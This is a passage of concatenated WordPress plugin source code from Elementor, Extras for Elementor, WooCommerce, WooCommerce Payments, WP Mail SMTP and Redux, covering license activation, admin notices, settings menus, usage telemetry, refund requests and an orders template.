			] );
		}

		// retrieve the license from the database
		$license_key = $_POST[ 'elementor_extras_license_key' ];

		// Get the remote response
		$data = self::get_remote_license_response( $license_key, 'activate_license' );

		if ( is_wp_error( $data ) ) {
			wp_die( sprintf( '%s (%s) ', $data->get_error_message(), $data->get_error_code() ), __( 'Extras for Elementor', 'elementor-extras' ), [
				'back_link' => true,
			] );
		}

		// Make sure the response came back okay
		if ( self::STATUS_VALID !== $data['license'] ) {
			$error_msg = $this->get_activation_error_message( $data['error'] );
			wp_die( $error_msg, __( 'Extras for Elementor', 'elementor-extras' ), [
				'back_link' => true,
			] );
		}

		$this->set_license_key( $license_key );
		self::set_license_data( $data );

		wp_safe_redirect( $_POST['_wp_http_referer'] );
		die;
	}

	/**
	 * Remove the license validation
	 *
	 * @return object|bool   The product data, or false if API call fails.
	 * @since 0.1.0
	 */
	public function deactivate_license() {

		// run a quick security check
	 	if( ! check_admin_referer( 'elementor_extras_license_nonce', 'elementor_extras_license_nonce' ) )
			return; // get out if we didn't click the Activate button

		// retrieve the license from the database
		$license_key = self::get_license_key();

		// Get the remote response
		$data = self::get_remote_license_response( $license_key, 'deactivate_license' );

		delete_option( 'elementor_extras_license_key' );
		delete_option( 'elementor_extras_license_status' );
		delete_transient( 'elementor_extras_license_data' );

		wp_safe_redirect( $_POST['_wp_http_referer'] );
		die;
	}

	/**
	 * Template for printing an admin notice
	 * 
	 * @since 2.1.0
	 */
	private function print_admin_notice( $title, $description, $action = null, $link = null, $dismissable = false ) {

		if ( null !== $action ) {
			$action = ( null !== $link ) ? sprintf( $action, $link ) : $action;
		}

		$classes = [
			'ee-admin-notice',
			'notice',
			'notice-error',
		];

		$data = '';

		if ( $dismissable && is_array( $dismissable ) ) {
			$dismissable_key = 'ee-' . $dismissable['key'] . '-notice-' . $dismissable['duration'];

			if ( ! \ElementorExtras\Dismiss_Notice::is_admin_notice_active( $dismissable_key ) )
	        	return;

			$classes[] = 'is-dismissible';
			$data = 'data-dismissible="' . $dismissable_key . '"';
		}

		$classes = implode( ' ', $classes );

		?><div class="<?php echo $classes; ?>" <?php echo $data; ?>>
			<h3><?php printf( __( 'Extras for Elementor: %s' ), $title ); ?></h3>
			<p><?php
				echo $description;
				if ( null !== $action )	echo ' ' . $action;
			?></p>
		</div><?php
	}

	/**
	 * Checks if current screen is block editor
	 * 
	 * @since 2.1.0
	 */
	private function is_block_editor_page() {
		$current_screen = get_current_screen();

		if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
			return true;
		}

		if ( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) {
			return true;
		}

		return false;
	}

	/**
	 * Handles admin notices for errors and license activation
	 * 
	 * @since 0.1.0
	 */
	public function admin_notices() {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}

		if ( $this->is_block_editor_page() ) {
			return;
		}

		$license_key = self::get_license_key();

		if ( empty( $license_key ) ) {
			
			$msg = __( 'Please %1$sactivate your license%2$s key to enable updates for %3$s.', $this->text_domain );
			$msg = sprintf( $msg, '<a href="' . admin_url( 'admin.php?page=' . $this->get_settings_page_slug() ) . '">', '</a>', '<strong>' . $this->product_name . '</strong>' );
			
			?><div class="notice notice-error">
				<p><?php echo $msg; ?></p>
			</div><?php
			return;
		}

		$license_data = self::get_license_data();

		if ( empty( $license_data['license'] ) ) {
			return;
		}

		$errors = self::get_status_errors();

		if ( isset( $errors[ $license_data['license'] ] ) ) {

			$error_data = $errors[ $license_data['license'] ];

			if ( array_key_exists( 'dismissable', $error_data ) && false !== $error_data['dismissable'] ) {
				$dismissable = $error_data['dismissable'];
			} else { $dismissable = false; }

			$this->print_admin_notice( $error_data['title'], $error_data['message'], $error_data['action'], $error_data['link'], $dismissable );
			return;
		}

		if ( self::STATUS_VALID === $license_data['license'] ) {
			if ( ! empty( $license_data['subscriptions'] ) && 'enable' === $license_data['subscriptions'] ) {
				return;
			}

			if ( 'lifetime' === $license_data['expires'] ) {
				return;
			}

			$expiry_time = strtotime( $license_data['expires'] );
			$until_expiry_time = strtotime( '-28 days', $expiry_time );

			if ( $until_expiry_time <= current_time( 'timestamp' ) ) {

				$title = sprintf( __( 'License expires in %s.', 'elementor-extras' ), human_time_diff( current_time( 'timestamp' ), $expiry_time ) );
				$message = sprintf( __( '<a href="%s" target="_blank">Renew your license</a> with a <strong>30&#37; discount</strong> before it expires. Continue getting updates and keep your access to premium support.', 'elementor-extras' ), $errors[ self::STATUS_EXPIRED ][ 'link' ] );

				$this->print_admin_notice( $title, $message, null, null, [
					'key' 		=> 'license-expiring',
					'duration' 	=> 10,
				] );
			}
		}
	}

}<?php
/**
 * Admin View: Notice - Redirect only download method is selected.
 *
 * @package WooCommerce\Admin\Notices
 */

defined( 'ABSPATH' ) || exit;

?>
<div class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'redirect_download_method' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>"><?php esc_html_e( 'Dismiss', 'woocommerce' ); ?></a>
	<p>
		<?php
		echo wp_kses_post(
			sprintf(
				/* translators: %s: Link to settings page. */
				__( 'Your store is configured to serve digital products using "Redirect only" method. This method is deprecated, <a href="%s">please switch to a different method instead.</a><br><em>If you use a remote server for downloadable files (such as Google Drive, Dropbox, Amazon S3), you may optionally wish to "allow using redirects as a last resort". Enabling that and/or selecting any of the other options will make this notice go away.</em>', 'woocommerce' ),
				add_query_arg(
					array(
						'page'    => 'wc-settings',
						'tab'     => 'products',
						'section' => 'downloadable',
					),
					admin_url( 'admin.php' )
				)
			)
		);
		?>
	</p>
</div>
/*! elementor - v3.10.2 - 29-01-2023 */
"use strict";(self.webpackChunkelementor=self.webpackChunkelementor||[]).push([[357],{1327:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class TextEditor extends elementorModules.frontend.handlers.Base{getDefaultSettings(){return{selectors:{paragraph:"p:first"},classes:{dropCap:"elementor-drop-cap",dropCapLetter:"elementor-drop-cap-letter"}}}getDefaultElements(){const e=this.getSettings("selectors"),t=this.getSettings("classes"),r=jQuery("<span>",{class:t.dropCap}),p=jQuery("<span>",{class:t.dropCapLetter});return r.append(p),{$paragraph:this.$element.find(e.paragraph),$dropCap:r,$dropCapLetter:p}}wrapDropCap(){if(!this.getElementSettings("drop_cap"))return void(this.dropCapLetter&&(this.elements.$dropCap.remove(),this.elements.$paragraph.prepend(this.dropCapLetter),this.dropCapLetter=""));const e=this.elements.$paragraph;if(!e.length)return;const t=e.html().replace(/&nbsp;/g," "),r=t.match(/^ *([^ ] ?)/);if(!r)return;const p=r[1],s=p.trim();if("<"===s)return;this.dropCapLetter=p,this.elements.$dropCapLetter.text(s);const a=t.slice(p.length).replace(/^ */,(e=>new Array(e.length+1).join("&nbsp;")));e.html(a).prepend(this.elements.$dropCap)}onInit(){super.onInit(...arguments),this.wrapDropCap()}onElementChange(e){"drop_cap"===e&&this.wrapDropCap()}}t.default=TextEditor}}]);<?php

namespace WPMailSMTP\UsageTracking;

use WPMailSMTP\Tasks\Task;
use WPMailSMTP\Tasks\Tasks;

/**
 * Class SendUsageTask.
 *
 * @since 2.3.0
 */
class SendUsageTask extends Task {

	/**
	 * Action name for this task.
	 *
	 * @since 2.3.0
	 */
	const ACTION = 'wp_mail_smtp_send_usage_data';

	/**
	 * Server URL to send requests to.
	 *
	 * @since 2.3.0
	 */
	const TRACK_URL = 'https://wpmailsmtpusage.com/v1/smtptrack';

	/**
	 * Option name to store the timestamp of the last run.
	 *
	 * @since 2.5.0
	 */
	const LAST_RUN = 'wp_mail_smtp_send_usage_last_run';

	/**
	 * Class constructor.
	 *
	 * @since 2.3.0
	 */
	public function __construct() {

		parent::__construct( self::ACTION );
	}

	/**
	 * Initialize the task with all the proper checks.
	 *
	 * @since 2.3.0
	 */
	public function init() {

		// Register the action handler.
		add_action( self::ACTION, [ $this, 'process' ] );

		// Add new if none exists.
		if ( Tasks::is_scheduled( self::ACTION ) !== false ) {
			return;
		}

		$this->recurring( $this->generate_start_date(), WEEK_IN_SECONDS )
			->register();
	}

	/**
	 * Randomly pick a timestamp
	 * which is not more than 1 week in the future
	 * starting from next sunday.
	 *
	 * @since 2.3.0
	 *
	 * @return int
	 */
	private function generate_start_date() {

		$tracking = [];

		$tracking['days']    = wp_rand( 0, 6 ) * DAY_IN_SECONDS;
		$tracking['hours']   = wp_rand( 0, 23 ) * HOUR_IN_SECONDS;
		$tracking['minutes'] = wp_rand( 0, 59 ) * MINUTE_IN_SECONDS;
		$tracking['seconds'] = wp_rand( 0, 59 );

		return strtotime( 'next sunday' ) + array_sum( $tracking );
	}

	/**
	 * Send the actual data in a POST request.
	 * This will be executed in a separate process via Action Scheduler.
	 *
	 * @since 2.3.0
	 */
	public function process() {

		$last_run = get_option( self::LAST_RUN );

		// Make sure we do not run it more than once a day.
		if (
			$last_run !== false &&
			( time() - $last_run ) < DAY_IN_SECONDS
		) {
			return;
		}

		// Send data to the usage tracking API.
		$ut = new UsageTracking();

		wp_remote_post(
			self::TRACK_URL,
			[
				'timeout'     => 5,
				'redirection' => 5,
				'httpversion' => '1.1',
				'blocking'    => true,
				'body'        => $ut->get_data(),
				'user-agent'  => $ut->get_user_agent(),
			]
		);

		// Update the last run option to the current timestamp.
		update_option( self::LAST_RUN, time() );
	}
}
<?php
/**
 * Class file for WCPay\Core\Server\Request\Refund_Charge.
 *
 * @package WooCommerce Payments
 */

namespace WCPay\Core\Server\Request;

use WC_Payments;
use WCPay\Core\Exceptions\Server\Request\Invalid_Request_Parameter_Exception;
use WCPay\Core\Server\Request;
use WC_Payments_API_Client;

/**
 * Request class for refund charge.
 */
class Refund_Charge extends Request {

	const DEFAULT_PARAMS = [
		'amount' => null,
		'reason' => null,
	];

	const IMMUTABLE_PARAMS = [ 'charge' ];

	const REQUIRED_PARAMS = [ 'charge' ];

	/**
	 * Specifies the WordPress hook name that will be triggered upon calling the send() method.
	 *
	 * @var string
	 */
	protected $hook = 'wcpay_refund_charge_request';

	/**
	 * Sets the charge ID, which will be used in the request URL.
	 *
	 * @param string $charge_id Sets the charge ID, which will be used in the request URL.
	 *
	 * @throws Invalid_Request_Parameter_Exception
	 */
	public function set_charge( string $charge_id ) {
		/**
		 * `py_XYZ` objects are identical to charges, and sometimes occur
		 * whenever the payment was made in a non-deposit currency.
		 */
		$this->validate_stripe_id( $charge_id, [ 'ch', 'py' ] );
		$this->set_param( 'charge', $charge_id );
	}

	/**
	 * Stores the amount for the refund.
	 *
	 * @param int $amount The amount to refund.
	 * @throws Invalid_Request_Parameter_Exception
	 */
	public function set_amount( int $amount ) {
		$this->validate_is_larger_than( $amount, 0 );
		$this->set_param( 'amount', $amount );
	}

	/**
	 * Sets the reason for the refund.
	 *
	 * @param string|null $reason The reason for the refund.
	 * @throws Invalid_Request_Parameter_Exception
	 */
	public function set_reason( ?string $reason ) {
		$this->set_param( 'reason', $reason );
	}

	/**
	 * Sets the refund source describing where it was initiated from.
	 *
	 * @param string $source The reason for the refund.
	 * @throws Invalid_Request_Parameter_Exception
	 */
	public function set_source( string $source ) {
		$this->set_param(
			'metadata',
			array_merge(
				$this->get_params()['metadata'] ?? [],
				[ 'refund_source' => $source ]
			)
		);
	}

	/**
	 * Returns the request's API.
	 *
	 * @return string
	 * @throws Invalid_Request_Parameter_Exception
	 */
	public function get_api(): string {
		return WC_Payments_API_Client::REFUNDS_API;
	}

	/**
	 * Returns the request's HTTP method.
	 */
	public function get_method(): string {
		return 'POST';
	}
}
<?php
/**
 * Redux Metabox Extension Helpers
 *
 * @package Redux
 */

defined( 'ABSPATH' ) || exit;

if ( ! function_exists( 'redux_metaboxes_loop_start' ) ) {
	/**
	 * Start loop.
	 *
	 * @param string $opt_name Panel opt_name.
	 * @param array  $the_post Post object.
	 */
	function redux_metaboxes_loop_start( string $opt_name, array $the_post = array() ) {
		$redux     = ReduxFrameworkInstances::get_instance( $opt_name );
		$metaboxes = $redux->extensions['metaboxes'];

		$metaboxes->loop_start( $the_post );
	}
}

if ( ! function_exists( 'redux_metaboxes_loop_end' ) ) {
	/**
	 * End loop.
	 *
	 * @param string $opt_name Panel opt_name.
	 * @param array  $the_post Deprecated.
	 */
	function redux_metaboxes_loop_end( string $opt_name, array $the_post = array() ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed
		_deprecated_argument( __FUNCTION__, '4.5', '$the_post argument has been deprecated and will be removed in a future version. Please update your code accordingly!' );

		$redux     = ReduxFrameworkInstances::get_instance( $opt_name );
		$metaboxes = $redux->extensions['metaboxes'];

		$metaboxes->loop_end();
	}
}

if ( ! function_exists( 'redux_post_meta' ) ) {
	/**
	 * Retrieve post meta values/settings.
	 *
	 * @param string $opt_name Panel opt_name.
	 * @param mixed  $the_post Post ID.
	 * @param string $meta_key Meta key.
	 * @param mixed  $def_val  Default value.
	 *
	 * @return string|void
	 */
	function redux_post_meta( string $opt_name = '', $the_post = array(), string $meta_key = '', $def_val = '' ) {
		return Redux::get_post_meta( $opt_name, $the_post, $meta_key, $def_val );
	}
}
<?php
namespace Elementor;

use Elementor\Core\Admin\Menu\Admin_Menu_Manager;
use Elementor\Includes\Settings\AdminMenuItems\Admin_Menu_Item;
use Elementor\Includes\Settings\AdminMenuItems\Get_Help_Menu_Item;
use Elementor\Includes\Settings\AdminMenuItems\Getting_Started_Menu_Item;
use Elementor\Modules\Promotions\Module as Promotions_Module;
use Elementor\TemplateLibrary\Source_Local;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor "Settings" page in WordPress Dashboard.
 *
 * Elementor settings page handler class responsible for creating and displaying
 * Elementor "Settings" page in WordPress dashboard.
 *
 * @since 1.0.0
 */
class Settings extends Settings_Page {

	/**
	 * Settings page ID for Elementor settings.
	 */
	const PAGE_ID = 'elementor';

	/**
	 * Upgrade menu priority.
	 */
	const MENU_PRIORITY_GO_PRO = 502;

	/**
	 * Settings page field for update time.
	 */
	const UPDATE_TIME_FIELD = '_elementor_settings_update_time';

	/**
	 * Settings page general tab slug.
	 */
	const TAB_GENERAL = 'general';

	/**
	 * Settings page style tab slug.
	 */
	const TAB_STYLE = 'style';

	/**
	 * Settings page integrations tab slug.
	 */
	const TAB_INTEGRATIONS = 'integrations';

	/**
	 * Settings page advanced tab slug.
	 */
	const TAB_ADVANCED = 'advanced';

	const ADMIN_MENU_PRIORITY = 10;

	/**
	 * Register admin menu.
	 *
	 * Add new Elementor Settings admin menu.
	 *
	 * Fired by `admin_menu` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function register_admin_menu() {
		global $menu;

		$menu[] = [ '', 'read', 'separator-elementor', '', 'wp-menu-separator elementor' ]; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited

		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}

		add_menu_page(
			esc_html__( 'Elementor', 'elementor' ),
			esc_html__( 'Elementor', 'elementor' ),
			'manage_options',
			self::PAGE_ID,
			[ $this, 'display_settings_page' ],
			'',
			'58.5'
		);
	}

	/**
	 * Reorder the Elementor menu items in admin.
	 * Based on WC.
	 *
	 * @since 2.4.0
	 *
	 * @param array $menu_order Menu order.
	 * @return array
	 */
	public function menu_order( $menu_order ) {
		// Initialize our custom order array.
		$elementor_menu_order = [];

		// Get the index of our custom separator.
		$elementor_separator = array_search( 'separator-elementor', $menu_order, true );

		// Get index of library menu.
		$elementor_library = array_search( Source_Local::ADMIN_MENU_SLUG, $menu_order, true );

		// Loop through menu order and do some rearranging.
		foreach ( $menu_order as $index => $item ) {
			if ( 'elementor' === $item ) {
				$elementor_menu_order[] = 'separator-elementor';
				$elementor_menu_order[] = $item;
				$elementor_menu_order[] = Source_Local::ADMIN_MENU_SLUG;

				unset( $menu_order[ $elementor_separator ] );
				unset( $menu_order[ $elementor_library ] );
			} elseif ( ! in_array( $item, [ 'separator-elementor' ], true ) ) {
				$elementor_menu_order[] = $item;
			}
		}

		// Return order.
		return $elementor_menu_order;
	}

	/**
	 * Register Elementor knowledge base sub-menu.
	 *
	 * Add new Elementor knowledge base sub-menu under the main Elementor menu.
	 *
	 * Fired by `admin_menu` action.
	 *
	 * @since 2.0.3
	 * @access private
	 */
	private function register_knowledge_base_menu( Admin_Menu_Manager $admin_menu ) {
		$admin_menu->register( 'elementor-getting-started', new Getting_Started_Menu_Item() );
		$admin_menu->register( 'go_knowledge_base_site', new Get_Help_Menu_Item() );
	}

	/**
	 * Go Elementor Pro.
	 *
	 * Redirect the Elementor Pro page the clicking the Elementor Pro menu link.
	 *
	 * Fired by `admin_init` action.
	 *
	 * @since 2.0.3
	 * @access public
	 */
	public function handle_external_redirects() {
		if ( empty( $_GET['page'] ) ) {
			return;
		}

		if ( 'go_knowledge_base_site' === $_GET['page'] ) {
			wp_redirect( Get_Help_Menu_Item::URL );
			die;
		}
	}

	/**
	 * On admin init.
	 *
	 * Preform actions on WordPress admin initialization.
	 *
	 * Fired by `admin_init` action.
	 *
	 * @since 2.0.0
	 * @access public
	 */
	public function on_admin_init() {
		$this->handle_external_redirects();

		$this->maybe_remove_all_admin_notices();
	}

	/**
	 * Change "Settings" menu name.
	 *
	 * Update the name of the Settings admin menu from "Elementor" to "Settings".
	 *
	 * Fired by `admin_menu` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function admin_menu_change_name() {
		Utils::change_submenu_first_item_label( 'elementor', esc_html__( 'Settings', 'elementor' ) );
	}

	/**
	 * Update CSS print method.
	 *
	 * Clear post CSS cache.
	 *
	 * Fired by `add_option_elementor_css_print_method` and
	 * `update_option_elementor_css_print_method` actions.
	 *
	 * @since 1.7.5
	 * @access public
	 * @deprecated 3.0.0
	 */
	public function update_css_print_method() {
		Plugin::$instance->files_manager->clear_cache();
	}

	/**
	 * Create tabs.
	 *
	 * Return the settings page tabs, sections and fields.
	 *
	 * @since 1.5.0
	 * @access protected
	 *
	 * @return array An array with the settings page tabs, sections and fields.
	 */
	protected function create_tabs() {
		$validations_class_name = __NAMESPACE__ . '\Settings_Validations';

		return [
			self::TAB_GENERAL => [
				'label' => esc_html__( 'General', 'elementor' ),
				'sections' => [
					'general' => [
						'fields' => [
							self::UPDATE_TIME_FIELD => [
								'full_field_id' => self::UPDATE_TIME_FIELD,
								'field_args' => [
									'type' => 'hidden',
								],
								'setting_args' => [ $validations_class_name, 'current_time' ],
							],
							'cpt_support' => [
								'label' => esc_html__( 'Post Types', 'elementor' ),
								'field_args' => [
									'type' => 'checkbox_list_cpt',
									'std' => [ 'page', 'post' ],
									'exclude' => [ 'attachment', 'elementor_library' ],
								],
								'setting_args' => [ $validations_class_name, 'checkbox_list' ],
							],
							'disable_color_schemes' => [
								'label' => esc_html__( 'Disable Default Colors', 'elementor' ),
								'field_args' => [
									'type' => 'checkbox',
									'value' => 'yes',
									'sub_desc' => esc_html__( 'Checking this box will disable Elementor\'s Default Colors, and make Elementor inherit the colors from your theme.', 'elementor' ),
								],
							],
							'disable_typography_schemes' => [
								'label' => esc_html__( 'Disable Default Fonts', 'elementor' ),
								'field_args' => [
									'type' => 'checkbox',
									'value' => 'yes',
									'sub_desc' => esc_html__( 'Checking this box will disable Elementor\'s Default Fonts, and make Elementor inherit the fonts from your theme.', 'elementor' ),
								],
							],
						],
					],
					'usage' => [
						'label' => esc_html__( 'Improve Elementor', 'elementor' ),
						'fields' => $this->get_usage_fields(),
					],
				],
			],
			self::TAB_INTEGRATIONS => [
				'label' => esc_html__( 'Integrations', 'elementor' ),
				'sections' => [
					'google_maps' => [
						'label' => esc_html__( 'Google Maps Embed API', 'elementor' ),
						'callback' => function() {
							printf(
								/* translators: 1: Link open tag, 2: Link close tag */
								esc_html__( 'Google Maps Embed API is a free service by Google that allows embedding Google Maps in your site. For more details, visit Google Maps\' %1$sUsing API Keys%2$s page.', 'elementor' ),
								'<a target="_blank" href="https://developers.google.com/maps/documentation/embed/get-api-key">',
								'</a>'
							);
						},
						'fields' => [
							'google_maps_api_key' => [
								'label' => esc_html__( 'API Key', 'elementor' ),
								'field_args' => [
									'class' => 'elementor_google_maps_api_key',
									'type' => 'text',
								],
							],
						],
					],
				],
			],
			self::TAB_ADVANCED => [
				'label' => esc_html__( 'Advanced', 'elementor' ),
				'sections' => [
					'advanced' => [
						'fields' => [
							'css_print_method' => [
								'label' => esc_html__( 'CSS Print Method', 'elementor' ),
								'field_args' => [
									'class' => 'elementor_css_print_method',
									'type' => 'select',
									'std' => 'external',
									'options' => [
										'external' => esc_html__( 'External File', 'elementor' ),
										'internal' => esc_html__( 'Internal Embedding', 'elementor' ),
									],
									'desc' => '<div class="elementor-css-print-method-description" data-value="external" style="display: none">' . esc_html__( 'Use external CSS files for all generated stylesheets. Choose this setting for better performance (recommended).', 'elementor' ) . '</div><div class="elementor-css-print-method-description" data-value="internal" style="display: none">' . esc_html__( 'Use internal CSS that is embedded in the head of the page. For troubleshooting server configuration conflicts and managing development environments.', 'elementor' ) . '</div>',
								],
							],
							'editor_break_lines' => [
								'label' => esc_html__( 'Switch Editor Loader Method', 'elementor' ),
								'field_args' => [
									'type' => 'select',
									'std' => '',
									'options' => [
										'' => esc_html__( 'Disable', 'elementor' ),
										'1' => esc_html__( 'Enable', 'elementor' ),
									],
									'desc' => esc_html__( 'For troubleshooting server configuration conflicts.', 'elementor' ),
								],
							],
							'unfiltered_files_upload' => [
								'label' => esc_html__( 'Enable Unfiltered File Uploads', 'elementor' ),
								'field_args' => [
									'type' => 'select',
									'std' => '',
									'options' => [
										'' => esc_html__( 'Disable', 'elementor' ),
										'1' => esc_html__( 'Enable', 'elementor' ),
									],
									'desc' => esc_html__( 'Please note! Allowing uploads of any files (SVG & JSON included) is a potential security risk.', 'elementor' ) . '<br>' . esc_html__( 'Elementor will try to sanitize the unfiltered files, removing potential malicious code and scripts.', 'elementor' ) . '<br>' . esc_html__( 'We recommend you only enable this feature if you understand the security risks involved.', 'elementor' ),
								],
							],
							'google_font' => [
								'label' => esc_html__( 'Google Fonts', 'elementor' ),
								'field_args' => [
									'type' => 'select',
									'std' => '1',
									'options' => [
										'1' => esc_html__( 'Enable', 'elementor' ),
										'0' => esc_html__( 'Disable', 'elementor' ),
									],
									'desc' => sprintf(
										esc_html__( 'Disable this option if you want to prevent Google Fonts from being loaded. This setting is recommended when loading fonts from a different source (plugin, theme or %1$scustom fonts%2$s).', 'elementor' ),
										'<a href="' . admin_url( 'admin.php?page=elementor_custom_fonts' ) . '">',
										'</a>'
									),
								],
							],
							'font_display' => [
								'label' => esc_html__( 'Google Fonts Load', 'elementor' ),
								'field_args' => [
									'type' => 'select',
									'std' => 'auto',
									'options' => [
										'auto' => esc_html__( 'Default', 'elementor' ),
										'block' => esc_html__( 'Blocking', 'elementor' ),
										'swap' => esc_html__( 'Swap', 'elementor' ),
										'fallback' => esc_html__( 'Fallback', 'elementor' ),
										'optional' => esc_html__( 'Optional', 'elementor' ),
									],
									'desc' => esc_html__( 'Font-display property defines how font files are loaded and displayed by the browser.', 'elementor' ) . '<br>' . esc_html__( 'Set the way Google Fonts are being loaded by selecting the font-display property (Default: Auto).', 'elementor' ),
								],
							],
						],
					],
				],
			],
		];
	}

	/**
	 * Get settings page title.
	 *
	 * Retrieve the title for the settings page.
	 *
	 * @since 1.5.0
	 * @access protected
	 *
	 * @return string Settings page title.
	 */
	protected function get_page_title() {
		if ( Plugin::$instance->experiments->is_feature_active( 'admin_menu_rearrangement' ) ) {
			return esc_html__( 'Settings', 'elementor' );
		}

		return esc_html__( 'Elementor', 'elementor' );
	}

	/**
	 * @since 2.2.0
	 * @access private
	 */
	private function maybe_remove_all_admin_notices() {
		$elementor_pages = [
			'elementor-getting-started',
			'elementor_custom_fonts',
			'elementor_custom_icons',
			'elementor-license',
			'elementor_custom_custom_code',
			'popup_templates',
		];

		if ( empty( $_GET['page'] ) || ! in_array( $_GET['page'], $elementor_pages, true ) ) {
			return;
		}

		remove_all_actions( 'admin_notices' );
	}

	public function add_generator_tag_settings( $settings ) {
		$css_print_method = get_option( 'elementor_css_print_method', 'external' );
		$settings[] = 'css_print_method-' . $css_print_method;

		$google_font = Fonts::is_google_fonts_enabled() ? 'enabled' : 'disabled';
		$settings[] = 'google_font-' . $google_font;

		$font_display = Fonts::get_font_display_setting();
		$settings[] = 'font_display-' . $font_display;

		return $settings;
	}

	/**
	 * Settings page constructor.
	 *
	 * Initializing Elementor "Settings" page.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function __construct() {
		parent::__construct();

		add_action( 'admin_init', [ $this, 'on_admin_init' ] );
		add_filter( 'elementor/generator_tag/settings', [ $this, 'add_generator_tag_settings' ] );

		if ( ! Plugin::$instance->experiments->is_feature_active( 'admin_menu_rearrangement' ) ) {
			add_action( 'admin_menu', [ $this, 'register_admin_menu' ], 20 );

			add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu ) {
				$this->register_knowledge_base_menu( $admin_menu );
			}, Promotions_Module::ADMIN_MENU_PRIORITY - 1 );

			add_action( 'admin_menu', [ $this, 'admin_menu_change_name' ], 200 );

			add_filter( 'custom_menu_order', '__return_true' );
			add_filter( 'menu_order', [ $this, 'menu_order' ] );
		}

		$clear_cache_callback = [ Plugin::$instance->files_manager, 'clear_cache' ];

		// Clear CSS Meta after change css related methods.
		$css_settings = [
			'elementor_disable_color_schemes',
			'elementor_disable_typography_schemes',
			'elementor_css_print_method',
		];

		foreach ( $css_settings as $option_name ) {
			add_action( "add_option_{$option_name}", $clear_cache_callback );
			add_action( "update_option_{$option_name}", $clear_cache_callback );
		}
	}
}
<?php
/**
 * Orders
 *
 * Shows orders on the account page.
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/myaccount/orders.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 3.7.0
 */

defined( 'ABSPATH' ) || exit;

do_action( 'woocommerce_before_account_orders', $has_orders ); ?>

<?php if ( $has_orders ) : ?>

	<table class="woocommerce-orders-table woocommerce-MyAccount-orders shop_table shop_table_responsive my_account_orders account-orders-table">
		<thead>
			<tr>
				<?php foreach ( wc_get_account_orders_columns() as $column_id => $column_name ) : ?>
					<th class="woocommerce-orders-table__header woocommerce-orders-table__header-<?php echo esc_attr( $column_id ); ?>"><span class="nobr"><?php echo esc_html( $column_name ); ?></span></th>
				<?php endforeach; ?>
			</tr>
		</thead>

		<tbody>
			<?php
			foreach ( $customer_orders->orders as $customer_order ) {
				$order      = wc_get_order( $customer_order ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
				$item_count = $order->get_item_count() - $order->get_item_count_refunded();
				?>
				<tr class="woocommerce-orders-table__row woocommerce-orders-table__row--status-<?php echo esc_attr( $order->get_status() ); ?> order">
					<?php foreach ( wc_get_account_orders_columns() as $column_id => $column_name ) : ?>
						<td class="woocommerce-orders-table__cell woocommerce-orders-table__cell-<?php echo esc_attr( $column_id ); ?>" data-title="<?php echo esc_attr( $column_name ); ?>">
							<?php if ( has_action( 'woocommerce_my_account_my_orders_column_' . $column_id ) ) : ?>
								<?php do_action( 'woocommerce_my_account_my_orders_column_' . $column_id, $order ); ?>

							<?php elseif ( 'order-number' === $column_id ) : ?>
								<a href="<?php echo esc_url( $order->get_view_order_url() ); ?>">
									<?php echo esc_html( _x( '#', 'hash before order number', 'woocommerce' ) . $order->get_order_number() ); ?>
								</a>

							<?php elseif ( 'order-date' === $column_id ) : ?>
								<time datetime="<?php echo esc_attr( $order->get_date_created()->date( 'c' ) ); ?>"><?php echo esc_html( wc_format_datetime( $order->get_date_created() ) ); ?></time>

							<?php elseif ( 'order-status' === $column_id ) : ?>
								<?php echo esc_html( wc_get_order_status_name( $order->get_status() ) ); ?>

							<?php elseif ( 'order-total' === $column_id ) : ?>
								<?php
								/* translators: 1: formatted order total 2: total order items */
								echo wp_kses_post( sprintf( _n( '%1$s for %2$s item', '%1$s for %2$s items', $item_count, 'woocommerce' ), $order->get_formatted_order_total(), $item_count ) );
								?>

							<?php elseif ( 'order-actions' === $column_id ) : ?>
								<?php
								$actions = wc_get_account_orders_actions( $order );

								if ( ! empty( $actions ) ) {
									foreach ( $actions as $key => $action ) { // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
										echo '<a href="' . esc_url( $action['url'] ) . '" class="woocommerce-button button ' . sanitize_html_class( $key ) . '">' . esc_html( $action['name'] ) . '</a>';
									}
								}
								?>
							<?php endif; ?>
						</td>
					<?php endforeach; ?>
				</tr>
				<?php
			}
			?>
		</tbody>
	</table>

	<?php do_action( 'woocommerce_before_account_orders_pagination' ); ?>

	<?php if ( 1 < $customer_orders->max_num_pages ) : ?>
		<div class="woocommerce-pagination woocommerce-pagination--without-numbers woocommerce-Pagination">
			<?php if ( 1 !== $current_page ) : ?>
				<a class="woocommerce-button woocommerce-button--previous woocommerce-Button woocommerce-Button--previous button" href="<?php echo esc_url( wc_get_endpoint_url( 'orders', $current_page - 1 ) ); ?>"><?php esc_html_e( 'Previous', 'woocommerce' ); ?></a>
			<?php endif; ?>

			<?php if ( intval( $customer_orders->max_num_pages ) !== $current_page ) : ?>
				<a class="woocommerce-button woocommerce-button--next woocommerce-Button woocommerce-Button--next button" href="<?php echo esc_url( wc_get_endpoint_url( 'orders', $current_page + 1 ) ); ?>"><?php esc_html_e( 'Next', 'woocommerce' ); ?></a>
			<?php endif; ?>
